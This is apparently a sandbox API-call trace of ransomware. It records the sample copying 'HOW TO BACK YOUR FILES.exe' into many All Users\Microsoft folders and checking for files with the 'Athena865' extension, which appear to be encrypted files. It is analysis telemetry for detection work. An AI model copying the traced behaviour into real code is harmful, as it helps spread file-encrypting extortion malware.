(lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.956] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\event viewer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.956] GetLastError () returned 0x0 [0102.956] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.956] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.957] CloseHandle (hObject=0xf4) returned 1 [0102.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.957] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.957] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.957] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.957] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.957] lstrcpyW (in: lpString1=0x241e8be, lpString2="Views" | out: lpString1="Views") returned="Views" [0102.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a658 [0102.957] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x514a28 [0102.957] lstrcatW (in: lpString1="Views", lpString2="\\" | out: lpString1="Views\\") returned="Views\\" [0102.957] lstrcatW (in: lpString1="Views\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Views\\HOW TO BACK YOUR FILES.exe") returned="Views\\HOW TO BACK YOUR FILES.exe" [0102.957] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Event Viewer\\Views\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\event viewer\\views\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.958] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xe1e09860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1e09860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0102.958] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.958] ReleaseMutex (hMutex=0xec) returned 1 [0102.958] CloseHandle (hObject=0xec) returned 1 [0102.958] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL" [0102.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502128 | out: hHeap=0x4f0000) returned 1 [0102.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a670 | out: hHeap=0x4f0000) returned 1 [0102.958] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL") returned 57 [0102.958] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C7430E2317751017EC3C88380BCD680F") returned 0xec [0102.958] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.958] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL" [0102.958] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.958] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.959] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\identitycrl\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.959] GetLastError () returned 0x0 [0102.959] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.959] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.960] CloseHandle (hObject=0xf4) returned 1 [0102.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.960] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.960] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1e55b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1e55b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.960] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.960] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.960] lstrcpyW (in: lpString1=0x241e8bc, lpString2="ppcrlconfig.dll.Athena865" | out: lpString1="ppcrlconfig.dll.Athena865") returned="ppcrlconfig.dll.Athena865" [0102.960] lstrlenW (lpString="ppcrlconfig.dll.Athena865") returned 25 [0102.960] lstrlenW (lpString="Athena865") returned 9 [0102.960] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.960] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xe1e7bc80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3e410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlui.dll.Athena865", cAlternateFileName="")) returned 1 [0102.960] lstrcmpiW (lpString1="ppcrlui.dll.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.960] lstrcmpiW (lpString1="ppcrlui.dll.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.961] lstrcpyW (in: lpString1=0x241e8bc, lpString2="ppcrlui.dll.Athena865" | out: lpString1="ppcrlui.dll.Athena865") returned="ppcrlui.dll.Athena865" [0102.961] lstrlenW (lpString="ppcrlui.dll.Athena865") returned 21 [0102.961] lstrlenW (lpString="Athena865") returned 9 [0102.961] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.961] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xe1e7bc80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3e410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlui.dll.Athena865", cAlternateFileName="")) returned 0 [0102.961] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.961] ReleaseMutex (hMutex=0xec) returned 1 [0102.961] CloseHandle (hObject=0xec) returned 1 [0102.961] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player" [0102.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5021a8 | out: hHeap=0x4f0000) returned 1 [0102.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a688 | out: hHeap=0x4f0000) returned 1 [0102.961] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player") returned 58 [0102.961] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6BE8D3C72C65E28DB7C86C1F2578CCE0") returned 0xec [0102.961] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.961] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player" [0102.961] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.961] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.962] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\media player\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.962] GetLastError () returned 0x0 [0102.962] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.962] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.963] CloseHandle (hObject=0xf4) returned 1 [0102.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.963] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.963] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Media Player\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.963] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.963] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.963] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\MF" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\MF") returned="C:\\Documents and Settings\\All Users\\Microsoft\\MF" [0102.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e970 | out: hHeap=0x4f0000) returned 1 [0102.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a6a0 | out: hHeap=0x4f0000) returned 1 [0102.963] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\MF") returned 48 [0102.964] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\94F3AAFF8E8A6E46C64CDFB393D54973") returned 0xec [0102.964] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.964] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\MF" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\MF") returned="C:\\Documents and Settings\\All Users\\Microsoft\\MF" [0102.964] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.964] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.964] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\mf\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.965] GetLastError () returned 0x0 [0102.965] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.965] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.965] CloseHandle (hObject=0xf4) returned 1 [0102.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.965] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.965] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe1f14200, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe1f14200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.966] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.966] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.966] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Active.GRL.Athena865" | out: lpString1="Active.GRL.Athena865") returned="Active.GRL.Athena865" [0102.966] lstrlenW (lpString="Active.GRL.Athena865") returned 20 [0102.966] lstrlenW (lpString="Athena865") returned 9 [0102.966] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.966] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.966] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.966] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe1f14200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pending.GRL.Athena865", cAlternateFileName="")) returned 1 [0102.966] lstrcmpiW (lpString1="Pending.GRL.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.966] lstrcmpiW (lpString1="Pending.GRL.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.966] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Pending.GRL.Athena865" | out: lpString1="Pending.GRL.Athena865") returned="Pending.GRL.Athena865" [0102.966] lstrlenW (lpString="Pending.GRL.Athena865") returned 21 [0102.966] lstrlenW (lpString="Athena865") returned 9 [0102.966] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.966] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe1f14200, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pending.GRL.Athena865", cAlternateFileName="")) returned 0 [0102.966] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.966] ReleaseMutex (hMutex=0xec) returned 1 [0102.966] CloseHandle (hObject=0xec) returned 1 [0102.966] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN") returned="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN" [0102.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e9e0 | out: hHeap=0x4f0000) returned 1 [0102.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a6b8 | out: hHeap=0x4f0000) returned 1 [0102.967] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN") returned 50 [0102.967] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\55A70E80157F040D55BAE29C9E4A0B9B") returned 0xec [0102.967] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.967] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN") returned="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN" [0102.967] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.967] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.967] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\msdn\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.967] GetLastError () returned 0x0 [0102.968] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.968] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.968] CloseHandle (hObject=0xf4) returned 1 [0102.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.968] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.968] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.969] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.969] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.969] lstrcpyW (in: lpString1=0x241e8ae, lpString2="8.0" | out: lpString1="8.0") returned="8.0" [0102.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a6b8 [0102.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x52d6d8 [0102.969] lstrcatW (in: lpString1="8.0", lpString2="\\" | out: lpString1="8.0\\") returned="8.0\\" [0102.969] lstrcatW (in: lpString1="8.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="8.0\\HOW TO BACK YOUR FILES.exe") returned="8.0\\HOW TO BACK YOUR FILES.exe" [0102.969] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\MSDN\\8.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\msdn\\8.0\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.969] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.969] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.969] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.969] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.970] ReleaseMutex (hMutex=0xec) returned 1 [0102.970] CloseHandle (hObject=0xec) returned 1 [0102.970] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework") returned="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework" [0102.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502228 | out: hHeap=0x4f0000) returned 1 [0102.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a6d0 | out: hHeap=0x4f0000) returned 1 [0102.970] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework") returned 58 [0102.970] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9F3A90BA6DBEB3A515502488D3F80FDF") returned 0xec [0102.970] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.970] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework") returned="C:\\Documents and Settings\\All Users\\Microsoft\\NetFramework" [0102.970] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" 